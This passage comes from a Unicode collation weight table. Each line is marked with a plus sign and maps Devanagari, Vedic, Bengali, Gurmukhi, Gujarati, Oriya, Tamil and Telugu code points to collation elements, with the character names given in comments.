+0923  ; [.2689.0020.0002] # DEVANAGARI LETTER NNA
+0924  ; [.268A.0020.0002] # DEVANAGARI LETTER TA
+0925  ; [.268B.0020.0002] # DEVANAGARI LETTER THA
+0926  ; [.268C.0020.0002] # DEVANAGARI LETTER DA
+0927  ; [.268D.0020.0002] # DEVANAGARI LETTER DHA
+0928  ; [.268E.0020.0002] # DEVANAGARI LETTER NA
+0929  ; [.268E.0020.0002][.0000.00C2.0002] # DEVANAGARI LETTER NNNA
+092A  ; [.268F.0020.0002] # DEVANAGARI LETTER PA
+092B  ; [.2690.0020.0002] # DEVANAGARI LETTER PHA
+095E  ; [.2690.0020.0002][.0000.00C2.0002] # DEVANAGARI LETTER FA
+092C  ; [.2691.0020.0002] # DEVANAGARI LETTER BA
+097F  ; [.2692.0020.0002] # DEVANAGARI LETTER BBA
+092D  ; [.2693.0020.0002] # DEVANAGARI LETTER BHA
+092E  ; [.2694.0020.0002] # DEVANAGARI LETTER MA
+092F  ; [.2695.0020.0002] # DEVANAGARI LETTER YA
+095F  ; [.2695.0020.0002][.0000.00C2.0002] # DEVANAGARI LETTER YYA
+097A  ; [.2696.0020.0002] # DEVANAGARI LETTER HEAVY YA
+0930  ; [.2697.0020.0002] # DEVANAGARI LETTER RA
+0931  ; [.2697.0020.0002][.0000.00C2.0002] # DEVANAGARI LETTER RRA
+0932  ; [.2698.0020.0002] # DEVANAGARI LETTER LA
+0933  ; [.2699.0020.0002] # DEVANAGARI LETTER LLA
+0934  ; [.2699.0020.0002][.0000.00C2.0002] # DEVANAGARI LETTER LLLA
+0935  ; [.269A.0020.0002] # DEVANAGARI LETTER VA
+0936  ; [.269B.0020.0002] # DEVANAGARI LETTER SHA
+0937  ; [.269C.0020.0002] # DEVANAGARI LETTER SSA
+0938  ; [.269D.0020.0002] # DEVANAGARI LETTER SA
+0939  ; [.269E.0020.0002] # DEVANAGARI LETTER HA
+093D  ; [.269F.0020.0002] # DEVANAGARI SIGN AVAGRAHA
+097D  ; [.26A0.0020.0002] # DEVANAGARI LETTER GLOTTAL STOP
+1CE9  ; [.26A1.0020.0002] # VEDIC SIGN ANUSVARA ANTARGOMUKHA
+1CEA  ; [.26A1.0020.0004] # VEDIC SIGN ANUSVARA BAHIRGOMUKHA
+1CEB  ; [.26A1.0020.0004] # VEDIC SIGN ANUSVARA VAMAGOMUKHA
+1CEC  ; [.26A1.0020.0004] # VEDIC SIGN ANUSVARA VAMAGOMUKHA WITH TAIL
+1CEE  ; [.26A1.0020.0004] # VEDIC SIGN HEXIFORM LONG ANUSVARA
+1CEF  ; [.26A1.0020.0004] # VEDIC SIGN LONG ANUSVARA
+1CF0  ; [.26A1.0020.0004] # VEDIC SIGN RTHANG LONG ANUSVARA
+1CF1  ; [.26A1.0020.0004] # VEDIC SIGN ANUSVARA UBHAYATO MUKHA
+1CF5  ; [.26A2.0020.0002] # VEDIC SIGN JIHVAMULIYA
+1CF6  ; [.26A3.0020.0002] # VEDIC SIGN UPADHMANIYA
+A8F2  ; [.26A4.0020.0002] # DEVANAGARI SIGN SPACING CANDRABINDU
+A8F3  ; [.26A4.0020.0004] # DEVANAGARI SIGN CANDRABINDU VIRAMA
+A8F4  ; [.26A4.0020.0004] # DEVANAGARI SIGN DOUBLE CANDRABINDU VIRAMA
+A8F5  ; [.26A4.0020.0004] # DEVANAGARI SIGN CANDRABINDU TWO
+A8F6  ; [.26A4.0020.0004] # DEVANAGARI SIGN CANDRABINDU THREE
+A8F7  ; [.26A4.0020.0004] # DEVANAGARI SIGN CANDRABINDU AVAGRAHA
+A8FB  ; [.26A5.0020.0002] # DEVANAGARI HEADSTROKE
+093E  ; [.26A6.0020.0002] # DEVANAGARI VOWEL SIGN AA
+093A  ; [.26A7.0020.0002] # DEVANAGARI VOWEL SIGN OE
+093B  ; [.26A8.0020.0002] # DEVANAGARI VOWEL SIGN OOE
+094F  ; [.26A9.0020.0002] # DEVANAGARI VOWEL SIGN AW
+0956  ; [.26AA.0020.0002] # DEVANAGARI VOWEL SIGN UE
+0957  ; [.26AB.0020.0002] # DEVANAGARI VOWEL SIGN UUE
+093F  ; [.26AC.0020.0002] # DEVANAGARI VOWEL SIGN I
+0940  ; [.26AD.0020.0002] # DEVANAGARI VOWEL SIGN II
+0941  ; [.26AE.0020.0002] # DEVANAGARI VOWEL SIGN U
+0942  ; [.26AF.0020.0002] # DEVANAGARI VOWEL SIGN UU
+0943  ; [.26B0.0020.0002] # DEVANAGARI VOWEL SIGN VOCALIC R
+0944  ; [.26B1.0020.0002] # DEVANAGARI VOWEL SIGN VOCALIC RR
+0962  ; [.26B2.0020.0002] # DEVANAGARI VOWEL SIGN VOCALIC L
+0963  ; [.26B3.0020.0002] # DEVANAGARI VOWEL SIGN VOCALIC LL
+0945  ; [.26B4.0020.0002] # DEVANAGARI VOWEL SIGN CANDRA E
+0955  ; [.26B5.0020.0002] # DEVANAGARI VOWEL SIGN CANDRA LONG E
+0946  ; [.26B6.0020.0002] # DEVANAGARI VOWEL SIGN SHORT E
+0947  ; [.26B7.0020.0002] # DEVANAGARI VOWEL SIGN E
+094E  ; [.26B8.0020.0002] # DEVANAGARI VOWEL SIGN PRISHTHAMATRA E
+0948  ; [.26B9.0020.0002] # DEVANAGARI VOWEL SIGN AI
+0949  ; [.26BA.0020.0002] # DEVANAGARI VOWEL SIGN CANDRA O
+094A  ; [.26BB.0020.0002] # DEVANAGARI VOWEL SIGN SHORT O
+094B  ; [.26BC.0020.0002] # DEVANAGARI VOWEL SIGN O
+094C  ; [.26BD.0020.0002] # DEVANAGARI VOWEL SIGN AU
+094D  ; [.26BE.0020.0002] # DEVANAGARI SIGN VIRAMA
+0980  ; [.26BF.0020.0002] # BENGALI ANJI
+0985  ; [.26C0.0020.0002] # BENGALI LETTER A
+0986  ; [.26C1.0020.0002] # BENGALI LETTER AA
+0987  ; [.26C2.0020.0002] # BENGALI LETTER I
+0988  ; [.26C3.0020.0002] # BENGALI LETTER II
+0989  ; [.26C4.0020.0002] # BENGALI LETTER U
+098A  ; [.26C5.0020.0002] # BENGALI LETTER UU
+098B  ; [.26C6.0020.0002] # BENGALI LETTER VOCALIC R
+09E0  ; [.26C7.0020.0002] # BENGALI LETTER VOCALIC RR
+098C  ; [.26C8.0020.0002] # BENGALI LETTER VOCALIC L
+09E1  ; [.26C9.0020.0002] # BENGALI LETTER VOCALIC LL
+098F  ; [.26CA.0020.0002] # BENGALI LETTER E
+0990  ; [.26CB.0020.0002] # BENGALI LETTER AI
+0993  ; [.26CC.0020.0002] # BENGALI LETTER O
+0994  ; [.26CD.0020.0002] # BENGALI LETTER AU
+0995  ; [.26CE.0020.0002] # BENGALI LETTER KA
+0996  ; [.26CF.0020.0002] # BENGALI LETTER KHA
+0997  ; [.26D0.0020.0002] # BENGALI LETTER GA
+0998  ; [.26D1.0020.0002] # BENGALI LETTER GHA
+0999  ; [.26D2.0020.0002] # BENGALI LETTER NGA
+099A  ; [.26D3.0020.0002] # BENGALI LETTER CA
+099B  ; [.26D4.0020.0002] # BENGALI LETTER CHA
+099C  ; [.26D5.0020.0002] # BENGALI LETTER JA
+099D  ; [.26D6.0020.0002] # BENGALI LETTER JHA
+099E  ; [.26D7.0020.0002] # BENGALI LETTER NYA
+099F  ; [.26D8.0020.0002] # BENGALI LETTER TTA
+09A0  ; [.26D9.0020.0002] # BENGALI LETTER TTHA
+09A1  ; [.26DA.0020.0002] # BENGALI LETTER DDA
+09DC  ; [.26DA.0020.0002][.0000.00C2.0002] # BENGALI LETTER RRA
+09A2  ; [.26DB.0020.0002] # BENGALI LETTER DDHA
+09DD  ; [.26DB.0020.0002][.0000.00C2.0002] # BENGALI LETTER RHA
+09A3  ; [.26DC.0020.0002] # BENGALI LETTER NNA
+09A4  ; [.26DD.0020.0002] # BENGALI LETTER TA
+09CE  ; [.26DD.0020.0004][.26FE.0020.0004] # BENGALI LETTER KHANDA TA
+09A5  ; [.26DE.0020.0002] # BENGALI LETTER THA
+09A6  ; [.26DF.0020.0002] # BENGALI LETTER DA
+09A7  ; [.26E0.0020.0002] # BENGALI LETTER DHA
+09A8  ; [.26E1.0020.0002] # BENGALI LETTER NA
+09AA  ; [.26E2.0020.0002] # BENGALI LETTER PA
+09AB  ; [.26E3.0020.0002] # BENGALI LETTER PHA
+09AC  ; [.26E4.0020.0002] # BENGALI LETTER BA
+09AD  ; [.26E5.0020.0002] # BENGALI LETTER BHA
+09AE  ; [.26E6.0020.0002] # BENGALI LETTER MA
+09AF  ; [.26E7.0020.0002] # BENGALI LETTER YA
+09DF  ; [.26E7.0020.0002][.0000.00C2.0002] # BENGALI LETTER YYA
+09B0  ; [.26E8.0020.0002] # BENGALI LETTER RA
+09F0  ; [.26E9.0020.0002] # BENGALI LETTER RA WITH MIDDLE DIAGONAL
+09B2  ; [.26EA.0020.0002] # BENGALI LETTER LA
+09F1  ; [.26EB.0020.0002] # BENGALI LETTER RA WITH LOWER DIAGONAL
+09B6  ; [.26EC.0020.0002] # BENGALI LETTER SHA
+09B7  ; [.26ED.0020.0002] # BENGALI LETTER SSA
+09B8  ; [.26EE.0020.0002] # BENGALI LETTER SA
+09B9  ; [.26EF.0020.0002] # BENGALI LETTER HA
+09BD  ; [.26F0.0020.0002] # BENGALI SIGN AVAGRAHA
+09BE  ; [.26F1.0020.0002] # BENGALI VOWEL SIGN AA
+09BF  ; [.26F2.0020.0002] # BENGALI VOWEL SIGN I
+09C0  ; [.26F3.0020.0002] # BENGALI VOWEL SIGN II
+09C1  ; [.26F4.0020.0002] # BENGALI VOWEL SIGN U
+09C2  ; [.26F5.0020.0002] # BENGALI VOWEL SIGN UU
+09C3  ; [.26F6.0020.0002] # BENGALI VOWEL SIGN VOCALIC R
+09C4  ; [.26F7.0020.0002] # BENGALI VOWEL SIGN VOCALIC RR
+09E2  ; [.26F8.0020.0002] # BENGALI VOWEL SIGN VOCALIC L
+09E3  ; [.26F9.0020.0002] # BENGALI VOWEL SIGN VOCALIC LL
+09C7  ; [.26FA.0020.0002] # BENGALI VOWEL SIGN E
+09C8  ; [.26FB.0020.0002] # BENGALI VOWEL SIGN AI
+09CB  ; [.26FC.0020.0002] # BENGALI VOWEL SIGN O
+09C7 09BE ; [.26FC.0020.0002] # BENGALI VOWEL SIGN O
+09CC  ; [.26FD.0020.0002] # BENGALI VOWEL SIGN AU
+09C7 09D7 ; [.26FD.0020.0002] # BENGALI VOWEL SIGN AU
+09CD  ; [.26FE.0020.0002] # BENGALI SIGN VIRAMA
+09D7  ; [.26FF.0020.0002] # BENGALI AU LENGTH MARK
+0A74  ; [.2700.0020.0002] # GURMUKHI EK ONKAR
+0A73  ; [.2701.0020.0002] # GURMUKHI URA
+0A09  ; [.2702.0020.0002] # GURMUKHI LETTER U
+0A0A  ; [.2703.0020.0002] # GURMUKHI LETTER UU
+0A13  ; [.2704.0020.0002] # GURMUKHI LETTER OO
+0A05  ; [.2705.0020.0002] # GURMUKHI LETTER A
+0A06  ; [.2706.0020.0002] # GURMUKHI LETTER AA
+0A10  ; [.2707.0020.0002] # GURMUKHI LETTER AI
+0A14  ; [.2708.0020.0002] # GURMUKHI LETTER AU
+0A72  ; [.2709.0020.0002] # GURMUKHI IRI
+0A07  ; [.270A.0020.0002] # GURMUKHI LETTER I
+0A08  ; [.270B.0020.0002] # GURMUKHI LETTER II
+0A0F  ; [.270C.0020.0002] # GURMUKHI LETTER EE
+0A38  ; [.270D.0020.0002] # GURMUKHI LETTER SA
+0A36  ; [.270D.0020.0002][.0000.00C2.0002] # GURMUKHI LETTER SHA
+0A39  ; [.270E.0020.0002] # GURMUKHI LETTER HA
+0A51  ; [.270F.0020.0002] # GURMUKHI SIGN UDAAT
+0A15  ; [.2710.0020.0002] # GURMUKHI LETTER KA
+0A16  ; [.2711.0020.0002] # GURMUKHI LETTER KHA
+0A59  ; [.2711.0020.0002][.0000.00C2.0002] # GURMUKHI LETTER KHHA
+0A17  ; [.2712.0020.0002] # GURMUKHI LETTER GA
+0A5A  ; [.2712.0020.0002][.0000.00C2.0002] # GURMUKHI LETTER GHHA
+0A18  ; [.2713.0020.0002] # GURMUKHI LETTER GHA
+0A19  ; [.2714.0020.0002] # GURMUKHI LETTER NGA
+0A1A  ; [.2715.0020.0002] # GURMUKHI LETTER CA
+0A1B  ; [.2716.0020.0002] # GURMUKHI LETTER CHA
+0A1C  ; [.2717.0020.0002] # GURMUKHI LETTER JA
+0A5B  ; [.2717.0020.0002][.0000.00C2.0002] # GURMUKHI LETTER ZA
+0A1D  ; [.2718.0020.0002] # GURMUKHI LETTER JHA
+0A1E  ; [.2719.0020.0002] # GURMUKHI LETTER NYA
+0A1F  ; [.271A.0020.0002] # GURMUKHI LETTER TTA
+0A20  ; [.271B.0020.0002] # GURMUKHI LETTER TTHA
+0A21  ; [.271C.0020.0002] # GURMUKHI LETTER DDA
+0A22  ; [.271D.0020.0002] # GURMUKHI LETTER DDHA
+0A23  ; [.271E.0020.0002] # GURMUKHI LETTER NNA
+0A24  ; [.271F.0020.0002] # GURMUKHI LETTER TA
+0A25  ; [.2720.0020.0002] # GURMUKHI LETTER THA
+0A26  ; [.2721.0020.0002] # GURMUKHI LETTER DA
+0A27  ; [.2722.0020.0002] # GURMUKHI LETTER DHA
+0A28  ; [.2723.0020.0002] # GURMUKHI LETTER NA
+0A2A  ; [.2724.0020.0002] # GURMUKHI LETTER PA
+0A2B  ; [.2725.0020.0002] # GURMUKHI LETTER PHA
+0A5E  ; [.2725.0020.0002][.0000.00C2.0002] # GURMUKHI LETTER FA
+0A2C  ; [.2726.0020.0002] # GURMUKHI LETTER BA
+0A2D  ; [.2727.0020.0002] # GURMUKHI LETTER BHA
+0A2E  ; [.2728.0020.0002] # GURMUKHI LETTER MA
+0A2F  ; [.2729.0020.0002] # GURMUKHI LETTER YA
+0A75  ; [.272A.0020.0002] # GURMUKHI SIGN YAKASH
+0A30  ; [.272B.0020.0002] # GURMUKHI LETTER RA
+0A32  ; [.272C.0020.0002] # GURMUKHI LETTER LA
+0A33  ; [.272C.0020.0002][.0000.00C2.0002] # GURMUKHI LETTER LLA
+0A35  ; [.272D.0020.0002] # GURMUKHI LETTER VA
+0A5C  ; [.272E.0020.0002] # GURMUKHI LETTER RRA
+0A3E  ; [.272F.0020.0002] # GURMUKHI VOWEL SIGN AA
+0A3F  ; [.2730.0020.0002] # GURMUKHI VOWEL SIGN I
+0A40  ; [.2731.0020.0002] # GURMUKHI VOWEL SIGN II
+0A41  ; [.2732.0020.0002] # GURMUKHI VOWEL SIGN U
+0A42  ; [.2733.0020.0002] # GURMUKHI VOWEL SIGN UU
+0A47  ; [.2734.0020.0002] # GURMUKHI VOWEL SIGN EE
+0A48  ; [.2735.0020.0002] # GURMUKHI VOWEL SIGN AI
+0A4B  ; [.2736.0020.0002] # GURMUKHI VOWEL SIGN OO
+0A4C  ; [.2737.0020.0002] # GURMUKHI VOWEL SIGN AU
+0A4D  ; [.2738.0020.0002] # GURMUKHI SIGN VIRAMA
+0AD0  ; [.2739.0020.0002] # GUJARATI OM
+0A85  ; [.273A.0020.0002] # GUJARATI LETTER A
+0A86  ; [.273B.0020.0002] # GUJARATI LETTER AA
+0A87  ; [.273C.0020.0002] # GUJARATI LETTER I
+0A88  ; [.273D.0020.0002] # GUJARATI LETTER II
+0A89  ; [.273E.0020.0002] # GUJARATI LETTER U
+0A8A  ; [.273F.0020.0002] # GUJARATI LETTER UU
+0A8B  ; [.2740.0020.0002] # GUJARATI LETTER VOCALIC R
+0AE0  ; [.2741.0020.0002] # GUJARATI LETTER VOCALIC RR
+0A8C  ; [.2742.0020.0002] # GUJARATI LETTER VOCALIC L
+0AE1  ; [.2743.0020.0002] # GUJARATI LETTER VOCALIC LL
+0A8D  ; [.2744.0020.0002] # GUJARATI VOWEL CANDRA E
+0A8F  ; [.2745.0020.0002] # GUJARATI LETTER E
+0A90  ; [.2746.0020.0002] # GUJARATI LETTER AI
+0A91  ; [.2747.0020.0002] # GUJARATI VOWEL CANDRA O
+0A93  ; [.2748.0020.0002] # GUJARATI LETTER O
+0A94  ; [.2749.0020.0002] # GUJARATI LETTER AU
+0A95  ; [.274A.0020.0002] # GUJARATI LETTER KA
+0A96  ; [.274B.0020.0002] # GUJARATI LETTER KHA
+0A97  ; [.274C.0020.0002] # GUJARATI LETTER GA
+0A98  ; [.274D.0020.0002] # GUJARATI LETTER GHA
+0A99  ; [.274E.0020.0002] # GUJARATI LETTER NGA
+0A9A  ; [.274F.0020.0002] # GUJARATI LETTER CA
+0A9B  ; [.2750.0020.0002] # GUJARATI LETTER CHA
+0A9C  ; [.2751.0020.0002] # GUJARATI LETTER JA
+0AF9  ; [.2752.0020.0002] # GUJARATI LETTER ZHA
+0A9D  ; [.2753.0020.0002] # GUJARATI LETTER JHA
+0A9E  ; [.2754.0020.0002] # GUJARATI LETTER NYA
+0A9F  ; [.2755.0020.0002] # GUJARATI LETTER TTA
+0AA0  ; [.2756.0020.0002] # GUJARATI LETTER TTHA
+0AA1  ; [.2757.0020.0002] # GUJARATI LETTER DDA
+0AA2  ; [.2758.0020.0002] # GUJARATI LETTER DDHA
+0AA3  ; [.2759.0020.0002] # GUJARATI LETTER NNA
+0AA4  ; [.275A.0020.0002] # GUJARATI LETTER TA
+0AA5  ; [.275B.0020.0002] # GUJARATI LETTER THA
+0AA6  ; [.275C.0020.0002] # GUJARATI LETTER DA
+0AA7  ; [.275D.0020.0002] # GUJARATI LETTER DHA
+0AA8  ; [.275E.0020.0002] # GUJARATI LETTER NA
+0AAA  ; [.275F.0020.0002] # GUJARATI LETTER PA
+0AAB  ; [.2760.0020.0002] # GUJARATI LETTER PHA
+0AAC  ; [.2761.0020.0002] # GUJARATI LETTER BA
+0AAD  ; [.2762.0020.0002] # GUJARATI LETTER BHA
+0AAE  ; [.2763.0020.0002] # GUJARATI LETTER MA
+0AAF  ; [.2764.0020.0002] # GUJARATI LETTER YA
+0AB0  ; [.2765.0020.0002] # GUJARATI LETTER RA
+0AB2  ; [.2766.0020.0002] # GUJARATI LETTER LA
+0AB5  ; [.2767.0020.0002] # GUJARATI LETTER VA
+0AB6  ; [.2768.0020.0002] # GUJARATI LETTER SHA
+0AB7  ; [.2769.0020.0002] # GUJARATI LETTER SSA
+0AB8  ; [.276A.0020.0002] # GUJARATI LETTER SA
+0AB9  ; [.276B.0020.0002] # GUJARATI LETTER HA
+0AB3  ; [.276C.0020.0002] # GUJARATI LETTER LLA
+0ABD  ; [.276D.0020.0002] # GUJARATI SIGN AVAGRAHA
+0ABE  ; [.276E.0020.0002] # GUJARATI VOWEL SIGN AA
+0ABF  ; [.276F.0020.0002] # GUJARATI VOWEL SIGN I
+0AC0  ; [.2770.0020.0002] # GUJARATI VOWEL SIGN II
+0AC1  ; [.2771.0020.0002] # GUJARATI VOWEL SIGN U
+0AC2  ; [.2772.0020.0002] # GUJARATI VOWEL SIGN UU
+0AC3  ; [.2773.0020.0002] # GUJARATI VOWEL SIGN VOCALIC R
+0AC4  ; [.2774.0020.0002] # GUJARATI VOWEL SIGN VOCALIC RR
+0AE2  ; [.2775.0020.0002] # GUJARATI VOWEL SIGN VOCALIC L
+0AE3  ; [.2776.0020.0002] # GUJARATI VOWEL SIGN VOCALIC LL
+0AC5  ; [.2777.0020.0002] # GUJARATI VOWEL SIGN CANDRA E
+0AC7  ; [.2778.0020.0002] # GUJARATI VOWEL SIGN E
+0AC8  ; [.2779.0020.0002] # GUJARATI VOWEL SIGN AI
+0AC9  ; [.277A.0020.0002] # GUJARATI VOWEL SIGN CANDRA O
+0ACB  ; [.277B.0020.0002] # GUJARATI VOWEL SIGN O
+0ACC  ; [.277C.0020.0002] # GUJARATI VOWEL SIGN AU
+0ACD  ; [.277D.0020.0002] # GUJARATI SIGN VIRAMA
+0B05  ; [.277E.0020.0002] # ORIYA LETTER A
+0B06  ; [.277F.0020.0002] # ORIYA LETTER AA
+0B07  ; [.2780.0020.0002] # ORIYA LETTER I
+0B08  ; [.2781.0020.0002] # ORIYA LETTER II
+0B09  ; [.2782.0020.0002] # ORIYA LETTER U
+0B0A  ; [.2783.0020.0002] # ORIYA LETTER UU
+0B0B  ; [.2784.0020.0002] # ORIYA LETTER VOCALIC R
+0B60  ; [.2785.0020.0002] # ORIYA LETTER VOCALIC RR
+0B0C  ; [.2786.0020.0002] # ORIYA LETTER VOCALIC L
+0B61  ; [.2787.0020.0002] # ORIYA LETTER VOCALIC LL
+0B0F  ; [.2788.0020.0002] # ORIYA LETTER E
+0B10  ; [.2789.0020.0002] # ORIYA LETTER AI
+0B13  ; [.278A.0020.0002] # ORIYA LETTER O
+0B14  ; [.278B.0020.0002] # ORIYA LETTER AU
+0B15  ; [.278C.0020.0002] # ORIYA LETTER KA
+0B16  ; [.278D.0020.0002] # ORIYA LETTER KHA
+0B17  ; [.278E.0020.0002] # ORIYA LETTER GA
+0B18  ; [.278F.0020.0002] # ORIYA LETTER GHA
+0B19  ; [.2790.0020.0002] # ORIYA LETTER NGA
+0B1A  ; [.2791.0020.0002] # ORIYA LETTER CA
+0B1B  ; [.2792.0020.0002] # ORIYA LETTER CHA
+0B1C  ; [.2793.0020.0002] # ORIYA LETTER JA
+0B1D  ; [.2794.0020.0002] # ORIYA LETTER JHA
+0B1E  ; [.2795.0020.0002] # ORIYA LETTER NYA
+0B1F  ; [.2796.0020.0002] # ORIYA LETTER TTA
+0B20  ; [.2797.0020.0002] # ORIYA LETTER TTHA
+0B21  ; [.2798.0020.0002] # ORIYA LETTER DDA
+0B5C  ; [.2798.0020.0002][.0000.00C2.0002] # ORIYA LETTER RRA
+0B22  ; [.2799.0020.0002] # ORIYA LETTER DDHA
+0B5D  ; [.2799.0020.0002][.0000.00C2.0002] # ORIYA LETTER RHA
+0B23  ; [.279A.0020.0002] # ORIYA LETTER NNA
+0B24  ; [.279B.0020.0002] # ORIYA LETTER TA
+0B25  ; [.279C.0020.0002] # ORIYA LETTER THA
+0B26  ; [.279D.0020.0002] # ORIYA LETTER DA
+0B27  ; [.279E.0020.0002] # ORIYA LETTER DHA
+0B28  ; [.279F.0020.0002] # ORIYA LETTER NA
+0B2A  ; [.27A0.0020.0002] # ORIYA LETTER PA
+0B2B  ; [.27A1.0020.0002] # ORIYA LETTER PHA
+0B2C  ; [.27A2.0020.0002] # ORIYA LETTER BA
+0B2D  ; [.27A3.0020.0002] # ORIYA LETTER BHA
+0B2E  ; [.27A4.0020.0002] # ORIYA LETTER MA
+0B2F  ; [.27A5.0020.0002] # ORIYA LETTER YA
+0B5F  ; [.27A6.0020.0002] # ORIYA LETTER YYA
+0B30  ; [.27A7.0020.0002] # ORIYA LETTER RA
+0B32  ; [.27A8.0020.0002] # ORIYA LETTER LA
+0B33  ; [.27A9.0020.0002] # ORIYA LETTER LLA
+0B35  ; [.27AA.0020.0002] # ORIYA LETTER VA
+0B71  ; [.27AB.0020.0002] # ORIYA LETTER WA
+0B36  ; [.27AC.0020.0002] # ORIYA LETTER SHA
+0B37  ; [.27AD.0020.0002] # ORIYA LETTER SSA
+0B38  ; [.27AE.0020.0002] # ORIYA LETTER SA
+0B39  ; [.27AF.0020.0002] # ORIYA LETTER HA
+0B3D  ; [.27B0.0020.0002] # ORIYA SIGN AVAGRAHA
+0B3E  ; [.27B1.0020.0002] # ORIYA VOWEL SIGN AA
+0B3F  ; [.27B2.0020.0002] # ORIYA VOWEL SIGN I
+0B40  ; [.27B3.0020.0002] # ORIYA VOWEL SIGN II
+0B41  ; [.27B4.0020.0002] # ORIYA VOWEL SIGN U
+0B42  ; [.27B5.0020.0002] # ORIYA VOWEL SIGN UU
+0B43  ; [.27B6.0020.0002] # ORIYA VOWEL SIGN VOCALIC R
+0B44  ; [.27B7.0020.0002] # ORIYA VOWEL SIGN VOCALIC RR
+0B62  ; [.27B8.0020.0002] # ORIYA VOWEL SIGN VOCALIC L
+0B63  ; [.27B9.0020.0002] # ORIYA VOWEL SIGN VOCALIC LL
+0B47  ; [.27BA.0020.0002] # ORIYA VOWEL SIGN E
+0B48  ; [.27BB.0020.0002] # ORIYA VOWEL SIGN AI
+0B47 0B56 ; [.27BB.0020.0002] # ORIYA VOWEL SIGN AI
+0B4B  ; [.27BC.0020.0002] # ORIYA VOWEL SIGN O
+0B47 0B3E ; [.27BC.0020.0002] # ORIYA VOWEL SIGN O
+0B4C  ; [.27BD.0020.0002] # ORIYA VOWEL SIGN AU
+0B47 0B57 ; [.27BD.0020.0002] # ORIYA VOWEL SIGN AU
+0B4D  ; [.27BE.0020.0002] # ORIYA SIGN VIRAMA
+0B56  ; [.27BF.0020.0002] # ORIYA AI LENGTH MARK
+0B57  ; [.27C0.0020.0002] # ORIYA AU LENGTH MARK
+0BD0  ; [.27C1.0020.0002] # TAMIL OM
+0B85  ; [.27C2.0020.0002] # TAMIL LETTER A
+0B86  ; [.27C3.0020.0002] # TAMIL LETTER AA
+0B87  ; [.27C4.0020.0002] # TAMIL LETTER I
+0B88  ; [.27C5.0020.0002] # TAMIL LETTER II
+0B89  ; [.27C6.0020.0002] # TAMIL LETTER U
+0B8A  ; [.27C7.0020.0002] # TAMIL LETTER UU
+0B8E  ; [.27C8.0020.0002] # TAMIL LETTER E
+0B8F  ; [.27C9.0020.0002] # TAMIL LETTER EE
+0B90  ; [.27CA.0020.0002] # TAMIL LETTER AI
+0B92  ; [.27CB.0020.0002] # TAMIL LETTER O
+0B93  ; [.27CC.0020.0002] # TAMIL LETTER OO
+0B94  ; [.27CD.0020.0002] # TAMIL LETTER AU
+0B92 0BD7 ; [.27CD.0020.0002] # TAMIL LETTER AU
+0B83  ; [.27CE.0020.0002] # TAMIL SIGN VISARGA
+0B95  ; [.27CF.0020.0002] # TAMIL LETTER KA
+0B99  ; [.27D0.0020.0002] # TAMIL LETTER NGA
+0B9A  ; [.27D1.0020.0002] # TAMIL LETTER CA
+0B9E  ; [.27D2.0020.0002] # TAMIL LETTER NYA
+0B9F  ; [.27D3.0020.0002] # TAMIL LETTER TTA
+0BA3  ; [.27D4.0020.0002] # TAMIL LETTER NNA
+0BA4  ; [.27D5.0020.0002] # TAMIL LETTER TA
+0BA8  ; [.27D6.0020.0002] # TAMIL LETTER NA
+0BAA  ; [.27D7.0020.0002] # TAMIL LETTER PA
+0BAE  ; [.27D8.0020.0002] # TAMIL LETTER MA
+0BAF  ; [.27D9.0020.0002] # TAMIL LETTER YA
+0BB0  ; [.27DA.0020.0002] # TAMIL LETTER RA
+0BB2  ; [.27DB.0020.0002] # TAMIL LETTER LA
+0BB5  ; [.27DC.0020.0002] # TAMIL LETTER VA
+0BB4  ; [.27DD.0020.0002] # TAMIL LETTER LLLA
+0BB3  ; [.27DE.0020.0002] # TAMIL LETTER LLA
+0BB1  ; [.27DF.0020.0002] # TAMIL LETTER RRA
+0BA9  ; [.27E0.0020.0002] # TAMIL LETTER NNNA
+0B9C  ; [.27E1.0020.0002] # TAMIL LETTER JA
+0BB6  ; [.27E2.0020.0002] # TAMIL LETTER SHA
+0BB7  ; [.27E3.0020.0002] # TAMIL LETTER SSA
+0BB8  ; [.27E4.0020.0002] # TAMIL LETTER SA
+0BB9  ; [.27E5.0020.0002] # TAMIL LETTER HA
+0BBE  ; [.27E6.0020.0002] # TAMIL VOWEL SIGN AA
+0BBF  ; [.27E7.0020.0002] # TAMIL VOWEL SIGN I
+0BC0  ; [.27E8.0020.0002] # TAMIL VOWEL SIGN II
+0BC1  ; [.27E9.0020.0002] # TAMIL VOWEL SIGN U
+0BC2  ; [.27EA.0020.0002] # TAMIL VOWEL SIGN UU
+0BC6  ; [.27EB.0020.0002] # TAMIL VOWEL SIGN E
+0BC7  ; [.27EC.0020.0002] # TAMIL VOWEL SIGN EE
+0BC8  ; [.27ED.0020.0002] # TAMIL VOWEL SIGN AI
+0BCA  ; [.27EE.0020.0002] # TAMIL VOWEL SIGN O
+0BC6 0BBE ; [.27EE.0020.0002] # TAMIL VOWEL SIGN O
+0BCB  ; [.27EF.0020.0002] # TAMIL VOWEL SIGN OO
+0BC7 0BBE ; [.27EF.0020.0002] # TAMIL VOWEL SIGN OO
+0BCC  ; [.27F0.0020.0002] # TAMIL VOWEL SIGN AU
+0BC6 0BD7 ; [.27F0.0020.0002] # TAMIL VOWEL SIGN AU
+0BCD  ; [.27F1.0020.0002] # TAMIL SIGN VIRAMA
+0BD7  ; [.27F2.0020.0002] # TAMIL AU LENGTH MARK
+0C05  ; [.27F3.0020.0002] # TELUGU LETTER A
+0C06  ; [.27F4.0020.0002] # TELUGU LETTER AA
+0C07  ; [.27F5.0020.0002] # TELUGU LETTER I
+0C08  ; [.27F6.0020.0002] # TELUGU LETTER II
+0C09  ; [.27F7.0020.0002] # TELUGU LETTER U
+0C0A  ; [.27F8.0020.0002] # TELUGU LETTER UU
+0C0B  ; [.27F9.0020.0002] # TELUGU LETTER VOCALIC R
+0C60  ; [.27FA.0020.0002] # TELUGU LETTER VOCALIC RR
+0C0C  ; [.27FB.0020.0002] # TELUGU LETTER VOCALIC L
+0C61  ; [.27FC.0020.0002] # TELUGU LETTER VOCALIC LL
+0C0E  ; [.27FD.0020.0002] # TELUGU LETTER E
+0C0F  ; [.27FE.0020.0002] # TELUGU LETTER EE
+0C10  ; [.27FF.0020.0002] # TELUGU LETTER AI
+0C12  ; [.2800.0020.0002] # TELUGU LETTER O
+0C13  ; [.2801.0020.0002] # TELUGU LETTER OO
+0C14  ; [.2802.0020.0002] # TELUGU LETTER AU
+0C15  ; [.2803.0020.0002] # TELUGU LETTER KA
+0C16  ; [.2804.0020.0002] # TELUGU LETTER KHA
+0C17  ; [.2805.0020.0002] # TELUGU LETTER GA
+0C18  ; [.2806.0020.0002] # TELUGU LETTER GHA
